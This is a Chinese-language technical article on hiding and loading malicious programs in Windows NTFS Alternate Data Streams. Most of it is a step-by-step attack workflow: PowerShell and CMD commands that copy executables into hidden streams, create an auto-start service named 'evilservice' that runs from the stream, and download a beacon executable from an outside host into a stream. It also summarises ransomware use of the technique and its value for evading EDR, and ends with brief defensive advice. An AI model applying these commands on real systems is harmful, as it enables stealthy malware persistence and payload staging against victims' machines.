windows杂谈:隐匿加载恶意程序
字数 889 2025-08-19 12:41:30

NTFS交换数据流(ADS)隐匿加载恶意程序技术详解

一、ADS基础概念

NTFS交换数据流(Alternate Data Streams, ADS)是NTFS文件系统的特性,允许文件包含多个数据流:

  1. 每个文件至少包含一个主数据流(用户可见的文件内容)
  2. 可以创建多个非主数据流(默认不可见)
  3. 完整格式:<文件名>:<流名>:<流种类>
  4. 数据流不显示在常规目录列表中,但占用实际磁盘空间

二、ADS基本操作

1. 查看文件数据流

# 查看特定数据流内容
Get-Content .\MyFile.txt -Stream ':$DATA'

# 列出文件所有数据流
Get-Item -Path .\MyFile.txt -Stream *

2. 创建和写入ADS

# 直接写入数据流
Write-Output 'SecretMessage' | Set-Content .\MyFile.txt -Stream 'Secret'

# 从文件读取内容写入ADS
Get-Content .\MyFile.txt | Set-Content .\MyFile.txt -Stream 'Secret1'

# 读取ADS内容
Get-Content .\MyFile.txt -Stream 'Secret'

3. 使用CMD创建ADS

type C:\Windows\System32\calc.exe > MyFile.txt:Calculator

三、恶意程序加载技术

1. 通过服务实现持久化

type c:\windows\system32\cmd.exe > %CD%file.txt:cmd.exe
sc create evilservice binPath= "\"%CD%file.txt:cmd.exe\" /c echo works > \"%CD%works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice

2. 完整攻击流程

  1. 创建基础文件

    echo AnyData > MyFile.txt
    
  2. 制作隐藏恶意ADS

    Get-Content -Path "C:\windows\system32\cmd.exe" -Raw | Set-Content -Path "$($PWD.Path)\MyFile.txt:cmd.exe" -Stream cmd.exe
    
  3. 创建持久化服务

    sc create ADS binPath= "\"%CD%\\MyFile.txt:cmd.exe\" /c echo works > \"%CD%\\works.txt\"" DisplayName= "ADS" start= auto
    
  4. 执行隐藏指令

    sc start ADS
    

3. 网络加载技术

$tempFile = "$($PWD.Path)\temp_download"
Invoke-WebRequest -Uri "http://192.168.56.79:8080/beacon.exe" -OutFile $tempFile
Get-Content -Path $tempFile -Raw | Set-Content -Path "$($PWD.Path)\MyFile.txt" -Stream test1
Remove-Item $tempFile -Force

四、实际APT组织利用案例

1. WastedLocker勒索软件

  • 以管理员权限运行木马
  • 将System32中的随机文件副本写入%APPDATA%
  • 通过ADS将自身复制到文件中
  • 在%TEMP%中创建WINMM.DLL和WINSAT.EXE副本
  • 利用WINMM.DLL从ADS执行勒索软件

2. ALPHA SPIDER勒索软件

  • 在C:\System中部署reverse-ssh可执行文件
  • 使用ADS隐藏可执行文件(名为"Host Process for Windows Service")
  • 创建恶意服务实现持久化
  • 从初始位置删除可执行文件

五、技术限制与注意事项

  1. 数据流绑定:ADS与当前系统绑定,复制到其他系统会失效
  2. 执行限制:无法直接执行ADS中的程序,需通过服务或其他方式间接执行
  3. 驱动加载:无法从ADS直接加载驱动程序
  4. EDR对抗:可用于绕过EDR检测,EDR删除备份文件不影响源文件

六、防御建议

  1. 监控异常服务创建行为
  2. 检查文件ADS内容(使用dir /r或PowerShell命令)
  3. 限制PowerShell和CMD的执行权限
  4. 部署能够检测ADS恶意行为的EDR解决方案
  5. 审计网络下载行为

七、参考资源

  1. ADS利用技术汇总
  2. ALPHA SPIDER勒索软件分析
  3. WastedLocker勒索软件分析
  4. ADS执行技术详解
NTFS交换数据流(ADS)隐匿加载恶意程序技术详解 一、ADS基础概念 NTFS交换数据流(Alternate Data Streams, ADS)是NTFS文件系统的特性,允许文件包含多个数据流: 每个文件至少包含一个主数据流(用户可见的文件内容) 可以创建多个非主数据流(默认不可见) 完整格式: <文件名>:<流名>:<流种类> 数据流不显示在常规目录列表中,但占用实际磁盘空间 二、ADS基本操作 1. 查看文件数据流 2. 创建和写入ADS 3. 使用CMD创建ADS 三、恶意程序加载技术 1. 通过服务实现持久化 2. 完整攻击流程 创建基础文件 制作隐藏恶意ADS 创建持久化服务 执行隐藏指令 3. 网络加载技术 四、实际APT组织利用案例 1. WastedLocker勒索软件 以管理员权限运行木马 将System32中的随机文件副本写入%APPDATA% 通过ADS将自身复制到文件中 在%TEMP%中创建WINMM.DLL和WINSAT.EXE副本 利用WINMM.DLL从ADS执行勒索软件 2. ALPHA SPIDER勒索软件 在C:\System中部署reverse-ssh可执行文件 使用ADS隐藏可执行文件(名为"Host Process for Windows Service") 创建恶意服务实现持久化 从初始位置删除可执行文件 五、技术限制与注意事项 数据流绑定 :ADS与当前系统绑定,复制到其他系统会失效 执行限制 :无法直接执行ADS中的程序,需通过服务或其他方式间接执行 驱动加载 :无法从ADS直接加载驱动程序 EDR对抗 :可用于绕过EDR检测,EDR删除备份文件不影响源文件 六、防御建议 监控异常服务创建行为 检查文件ADS内容(使用 dir /r 或PowerShell命令) 限制PowerShell和CMD的执行权限 部署能够检测ADS恶意行为的EDR解决方案 审计网络下载行为 七、参考资源 ADS利用技术汇总 ALPHA SPIDER勒索软件分析 WastedLocker勒索软件分析 ADS执行技术详解